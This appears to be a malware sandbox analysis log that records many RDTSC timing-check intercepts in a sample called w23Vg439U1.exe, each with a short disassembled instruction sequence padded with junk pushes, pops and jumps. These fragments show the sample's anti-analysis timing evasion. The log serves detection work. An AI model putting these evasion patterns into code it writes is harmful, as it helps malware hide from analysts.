Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54561C second address: 545622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 545622 second address: 545642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC81h 0x00000009 jne 00007F716557DC76h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 545642 second address: 545646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 545646 second address: 54566E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F716557DC85h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F716557DC7Eh 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54566E second address: 545672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54594B second address: 545951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 545951 second address: 545955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 545ECD second address: 545ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 546203 second address: 54620A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54620A second address: 546210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 546210 second address: 546214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 546214 second address: 546218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54A49E second address: 54A4AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007F716511B496h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54A7C5 second address: 54A7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 js 00007F716557DC76h 0x0000000b je 00007F716557DC76h 0x00000011 jmp 00007F716557DC7Dh 0x00000016 popad 0x00000017 pop eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54A7EA second address: 54A7EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54ADED second address: 54ADF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54AF74 second address: 54AF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54F8A9 second address: 54F8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54F8AD second address: 54F8C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F716511B4A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54F8C4 second address: 54F8D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716557DC7Ch 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55717D second address: 557192 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F716511B49Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 557192 second address: 557196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55552E second address: 555533 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5559D0 second address: 5559EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5559EA second address: 5559F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5559F3 second address: 555A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC7Fh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555A07 second address: 555A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555A0C second address: 555A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555A14 second address: 555A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555B3B second address: 555B42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555B42 second address: 555B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F716511B496h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555CC4 second address: 555CE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555F8D second address: 555FB8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F716511B49Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F716511B4CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F716511B4A3h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 555FB8 second address: 555FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 559850 second address: 559856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 559856 second address: 55985C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55985C second address: 559860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5596D7 second address: 559716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Ch 0x00000007 push ecx 0x00000008 jo 00007F716557DC76h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F716557DC82h 0x00000018 jmp 00007F716557DC81h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB24 second address: 55FB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB28 second address: 55FB3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007F716557DC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F716557DC7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB3C second address: 55FB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB40 second address: 55FB52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB52 second address: 55FB58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55FB58 second address: 55FB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F839 second address: 55F83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F83D second address: 55F84D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F716557DC76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F84D second address: 55F851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F851 second address: 55F855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F855 second address: 55F85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F85B second address: 55F860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 55F860 second address: 55F866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 570E6F second address: 570E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 570E73 second address: 570E7D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F716511B496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 570E7D second address: 570E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 570E83 second address: 570E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 570E89 second address: 570E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 57568F second address: 575693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 575693 second address: 575699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 575699 second address: 5756A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5756A3 second address: 5756BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5756BB second address: 5756BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 57BA2D second address: 57BA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 57BA31 second address: 57BA4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F716511B49Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jo 00007F716511B496h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 57BA4F second address: 57BA67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 580B2B second address: 580B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F716511B4CAh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F716511B496h 0x00000014 jng 00007F716511B496h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jno 00007F716511B496h 0x00000023 jmp 00007F716511B4A6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586968 second address: 586972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F716557DC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586972 second address: 586991 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F716511B496h 0x00000008 jmp 00007F716511B49Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586991 second address: 586995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586995 second address: 58699B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58699B second address: 5869B3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F716557DC82h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5869B3 second address: 5869B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5869B9 second address: 5869BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586C43 second address: 586C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586DA5 second address: 586DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586F26 second address: 586F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586F2A second address: 586F3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F716557DC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F716557DC76h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 586F3F second address: 586F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 587C2C second address: 587C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 587C30 second address: 587C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 587C34 second address: 587C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC83h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 587C4D second address: 587C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 587C53 second address: 587C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58A334 second address: 58A35D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d jne 00007F716511B496h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F716511B4A3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D75F second address: 58D765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D765 second address: 58D7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jnc 00007F716511B496h 0x0000000f jmp 00007F716511B4A6h 0x00000014 jmp 00007F716511B4A3h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D7A2 second address: 58D7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D913 second address: 58D927 instructions: 0x00000000 rdtsc 0x00000002 js 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F716511B496h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D927 second address: 58D92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 58D92B second address: 58D952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F716511B498h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 596565 second address: 59656D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5A8931 second address: 5A893D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5A893D second address: 5A8941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5A8941 second address: 5A8945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5A8945 second address: 5A894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A094D second address: 4A0951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A0951 second address: 4A095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F716557DC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A095D second address: 4A0962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5A9F95 second address: 5A9F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5ACD86 second address: 5ACDA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AE139 second address: 4AE142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AE142 second address: 4AE146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AE146 second address: 4AE15C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5BE080 second address: 5BE086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5BE086 second address: 5BE093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F716557DC82h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
